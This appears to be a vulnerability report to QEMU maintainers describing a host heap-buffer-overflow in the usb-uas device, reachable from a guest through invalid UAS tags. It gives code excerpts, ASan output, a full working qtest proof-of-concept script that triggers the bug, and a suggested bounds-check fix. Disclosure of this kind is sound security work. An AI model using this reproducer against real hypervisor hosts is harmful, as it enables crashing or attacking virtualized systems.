I can trigger a host-side AddressSanitizer heap-buffer-overflow in current QEMU master through the USB Attached SCSI (`usb-uas`) device when it is attached to an xHCI controller and operating at SuperSpeed. This appears to be an incomplete-fix variant of the historical UAS stream/tag bounds-checking issue. The already-fixed `usb_uas_handle_data()` stream checks reject invalid `p->stream` values before indexing `data3[]` or `status3[]`, but the invalid-tag error response paths still copy a guest-controlled invalid UAS tag into `UASStatus.stream` and then use it as an index into `UASDevice.status3[]`. I reproduced this on current master in the following environment: - host: x86_64 - commit: `b83371668192a705b878e909c5ae9c1233cbd5fb` - describe: `v11.0.0-2279-gb833716681` - build: `./configure --target-list=x86_64-softmmu --enable-asan --disable-werror` - binary: `./build/qemu-system-x86_64` The vulnerable configuration is a normal virtualized device path, for example: ```text -machine q35 -device qemu-xhci,id=xhci -device usb-uas,id=uas,bus=xhci.0 -device scsi-hd,bus=uas.0,... ``` The reproducer uses qtest only to perform deterministic xHCI MMIO/DMA-style operations. The vulnerable path is in the `usb-uas` device emulation exposed to a guest through the emulated xHCI controller; it is not a qtest-only issue. The relevant code is in `hw/usb/dev-uas.c`: ```c #define UAS_STREAM_BM_ATTR 4 #define UAS_MAX_STREAMS (1 << UAS_STREAM_BM_ATTR) ... USBPacket *status3[UAS_MAX_STREAMS + 1]; ``` `status3[]` has valid indexes `0..16`. `usb_uas_command()` detects an invalid UAS tag but then passes the same invalid guest-controlled tag into the error response: ```c if (uas_using_streams(uas) && tag > UAS_MAX_STREAMS) { goto invalid_tag; } ... invalid_tag: usb_uas_queue_fake_sense(uas, tag, sense_code_INVALID_TAG); return; ``` `usb_uas_alloc_status()` stores the tag as the stream number in SuperSpeed mode: ```c if (uas_using_streams(uas)) { st->stream = tag; } ``` `usb_uas_queue_status()` then indexes `status3[]` without validating `st->stream`: ```c USBPacket *p = uas_using_streams(uas) ? uas->status3[st->stream] : uas->status2; ``` A guest can provide `tag = 17`, which is one past `UAS_MAX_STREAMS`, and QEMU reads one element past `status3[16]`. A larger tag can index much further out of the `UASDevice` object. The task-management path has the same root cause: ```c if (uas_using_streams(uas) && tag > UAS_MAX_STREAMS) { goto invalid_tag; } ... invalid_tag: usb_uas_queue_response(uas, tag, UAS_RC_INVALID_INFO_UNIT); return; ``` ASan output: ```text ==820155==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5230000035c8 READ of size 8 #0 usb_uas_queue_status ../hw/usb/dev-uas.c:387 #1 usb_uas_queue_fake_sense ../hw/usb/dev-uas.c:445 #2 usb_uas_command ../hw/usb/dev-uas.c:748 #3 usb_uas_handle_data ../hw/usb/dev-uas.c:830 #4 usb_handle_packet ../hw/usb/core.c #5 xhci_submit ../hw/usb/hcd-xhci.c:1829 #6 xhci_fire_transfer ../hw/usb/hcd-xhci.c:1838 #7 xhci_kick_epctx ../hw/usb/hcd-xhci.c:1997 #8 xhci_kick_ep ../hw/usb/hcd-xhci.c:1863 #9 xhci_doorbell_write ../hw/usb/hcd-xhci.c:3178 SUMMARY: AddressSanitizer: heap-buffer-overflow ../hw/usb/dev-uas.c:387 in usb_uas_queue_status ``` PoC: ```bash #!/usr/bin/env bash set -euo pipefail QEMU=${QEMU:-./build/qemu-system-x86_64} IMG=${IMG:-/tmp/usb-uas-invalid-tag-oob.img} truncate -s 64M "$IMG" ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 "$QEMU" -display none -nodefaults -machine q35,accel=qtest -m 128M -drive file="$IMG",if=none,id=drv0,format=raw -device qemu-xhci,id=xhci,addr=04.0 -device usb-uas,id=uas,bus=xhci.0,port=1 -device scsi-hd,bus=uas.0,drive=drv0 -qtest stdio <<'EOF' outl 0xcf8 0x80002010 outl 0xcfc 0xe0000000 outl 0xcf8 0x80002014 outl 0xcfc 0x00000000 outl 0xcf8 0x80002004 outw 0xcfc 0x0006 readl 0xe0000000 readl 0xe0000400 write 0x15000 0x10 0x00400100000000001000000000000000 writel 0xe0001028 0x00000001 writel 0xe0001030 0x00015000 writel 0xe0001034 0x00000000 writel 0xe0001038 0x00014000 writel 0xe000103c 0x00000000 writeq 0x10008 0x0000000000011000 writel 0xe0000070 0x00010000 writel 0xe0000074 0x00000000 writel 0xe0000078 0x00000001 writel 0x12000 0x00000000 writel 0x12004 0x00000003 writel 0x12020 0x08000000 writel 0x12024 0x00010000 writel 0x12028 0x00000000 writel 0x1202c 0x00000000 writel 0x12040 0x00000000 writel 0x12044 0x02000020 writel 0x12048 0x00016001 writel 0x1204c 0x00000000 writel 0x12050 0x00000000 writel 0x17000 0x00000000 writel 0x17004 0x00000005 writel 0x17020 0x10000000 writel 0x17024 0x00010000 writel 0x17028 0x00000000 writel 0x1702c 0x00000000 writel 0x17060 0x00000000 writel 0x17064 0x04000010 writel 0x17068 0x00018001 writel 0x1706c 0x00000000 writel 0x17070 0x00000000 write 0x13000 0x30 0x00000000000000000000000001240000002001000000000000000000012c000100700100000000000000000001300001 writel 0xe0000058 0x00013001 writel 0xe000005c 0x00000000 write 0x20000 0x40 0x01000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 write 0x18000 0x10 0x00000200000000004000000021040000 writel 0xe0000040 0x00000001 writel 0xe0002000 0x00000000 clock_step 1000000 writel 0xe0002004 0x00000002 clock_step 1000000 EOF ``` Build and run: ```text ./configure --target-list=x86_64-softmmu --enable-asan --disable-werror ninja -C build qemu-system-x86_64 chmod +x repro-usb-uas-invalid-tag-oob.sh ./repro-usb-uas-invalid-tag-oob.sh ``` Suggested fix: The minimal fix is to avoid using an invalid guest tag as a SuperSpeed status stream index. The invalid-tag command and task-management error paths should not pass `tag > UAS_MAX_STREAMS` into `usb_uas_queue_fake_sense()` / `usb_uas_queue_response()` in a way that becomes `st->stream`. It would also be safer to add a defensive bounds check before every `status3[st->stream]` access, for example in `usb_uas_queue_status()` and `usb_uas_send_status_bh()`, so that no future status path can index `status3[]` with an out-of-range stream value. One possible direction is: ```c static bool usb_uas_stream_valid(UASDevice *uas, uint32_t stream) { return !uas_using_streams(uas) || stream <= UAS_MAX_STREAMS; } ``` and then reject, drop, stall, or otherwise safely handle out-of-range status streams before indexing `status3[]`. The protocol-correct behavior for an invalid UAS tag should be chosen by the maintainer, but the invalid tag must not be used as an unchecked array index.